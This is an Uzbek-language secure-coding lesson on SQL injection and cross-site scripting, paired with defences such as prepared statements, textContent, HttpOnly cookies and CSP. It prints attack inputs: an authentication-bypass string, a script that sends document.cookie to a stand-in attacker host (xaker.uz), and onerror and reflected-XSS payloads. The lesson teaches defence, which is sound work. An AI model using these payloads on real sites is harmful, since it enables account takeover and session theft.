Dunyo bo'ylab har kuni minglab veb-saytlar murakkab qurollar bilan emas, balki qidiruv satriga yoki login formasiga kiritilgan bitta qo'shtirnoq belgisi (') yoki kichik JavaScript tegi bilan butunlay buziladi. Bu xatolar global OWASP Top 10 xalqaro reytingida yetakchilik qiladi. Bugungi darsda siz SQL Injection va Cross-Site Scripting (XSS) qanday ishlashini, xakerlar qanday qilib butun ma'lumotlar bazasini o'g'irlashini va professional dasturchilar buni parametrlangan so'rovlar (Prepared Statements) va sanitizatsiya orqali qanday to'xtatishini o'rganasiz.
Foydalanuvchi URL dagi /profile?id=5 ni id=6 ga o'zgartirib, begonaning shaxsiy ma'lumotlarini ko'ra olishi.
Foydalanuvchi kiritgan ma'lumot to'g'ridan-to'g'ri ma'lumotlar bazasi yoki tizim buyrug'i sifatida bajarilib ketishi.
Zaif parollar, sessiyalarni o'g'irlash (Session Hijacking) va brauzerda begonaning scriptlarini bajarish (XSS).
SELECT * FROM users WHERE user = '' + username + '' AND pass = '' + pass;admin' -- kiritsa, parol qismi shundoq izohga (comment) aylanib o'chadi!# Login maydoniga kiritiladi: admin' OR '1'='1' -- # Serverda hosil bo'ladigan yakuniy SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND pass = '***'; # Natija: '1'='1' har doim TRUE! # Parol so'ramasdan Admin bo'lib tizimga kirdi!
// ❌ XAVFLI: Hech qachon bunday qilmang!
const query = `SELECT * FROM users WHERE login = '${login}'`;
// ✅ XAVFSIZ: Parametrlangan so'rov ($1, $2)
const safeQuery = 'SELECT * FROM users WHERE login = $1 AND pass = $2';
const result = await db.query(safeQuery, [login, password]);
// Foydalanuvchi "admin' OR 1=1" kiritsa ham,
// baza uni shunday ismli odam qidiradi va 0 ta topadi!<script>fetch('https://xaker.uz/log?c='+document.cookie)</script>1. Stored XSS (Doimiy): Zararli script Ma'lumotlar bazasida saqlanadi. Sahifani ochgan har bir odam zararlanadi (Eng xavflisi!). 2. Reflected XSS (Aks etuvchi): Script URL parametrida keladi: https://sayt.uz/search?q=<script>alert(1)</script> Faqat havola ustiga bosgan odamga ta'sir qiladi. 3. DOM XSS: Mijoz tomonidagi JavaScript xatosi tufayli yuzaga keladi.
Maxsus belgilarni zararsiz kodlarga aylantirish: < -> <, > -> >. Brauzer uni kod emas, rasmdek ko'rsatadi.
Eng muhim kiber-himoya! Agar Cookie HttpOnly bilan belgilansa, hech qanday JavaScript (hatto XSS ham) uni o'qiy olmaydi!
Server brauzerga qat'iy qoida yuboradi: "Faqat mening domenimdagi scriptlarni ishlat, begona scriptlarni blokla!"
document.getElementById('result').innerHTML = 'Siz qidirdingiz: ' + input;<img src=x onerror=alert(document.cookie)> kiritsa, darhol o'g'irlik yuz beradi!// ✅ 1. DOMPurify yoki textContent ishlatish:
document.getElementById('result').textContent = 'Siz qidirdingiz: ' + input;
// ✅ 2. Xavfsiz Cookie yozish (Backend):
res.cookie('session_id', token, {
httpOnly: true, // XSS o'g'irlay olmaydi!
secure: true, // Faqat HTTPS orqali
sameSite: 'strict' // CSRF hujumlarini to'xtatadi
});2015-yilda 15 yoshli o'smir Buyuk Britaniyaning eng yirik telekom operatorlaridan biri TalkTalk saytidagi eski meros sahifada oddiy SQL Injection zaifligini topdi. U avtomatlashgan sqlmap vositasi yordamida bir necha soat ichida butun ma'lumotlar bazasini ko'chirib oldi.
$id = $_GET['id'] so'rovi parametrlanmagan edi!' OR '1'='1 kiritib, barcha yashirin yozuvlarni chiqaring.<script>alert(1)</script> kiritib ko'ring.db.query(sql, [params]) parametrlangan formatga o'tkazing.innerHTML ni textContent ga almashtiring va HttpOnly yoqing.Tuzatilgan kodda ' OR 1=1 kiritilganda baza buzilmasligi (0 ta natija) va <script> kiritilganda kod ishlamasdan, oddiy matn sifatida xavfsiz aks etishi shart!
Kodda bitta ham qator qo'shish (string concatenation `+`) qolmadimi?
DOM ga kiritishda xavfli `innerHTML` o'rniga `textContent` qo'yildimi?
Cookie sozlamasida `httpOnly: true` flagi mavjudmi?
Foydalanuvchi kiritgan har qanday ma'lumot — dushman deb qaralishi shart (Never Trust User Input). Ma'lumotlar bazasi bilan faqat Prepared Statements orqali muloqot qiling, HTML ga chiqarishda esa har doim sanitizatsiyadan o'tkazing.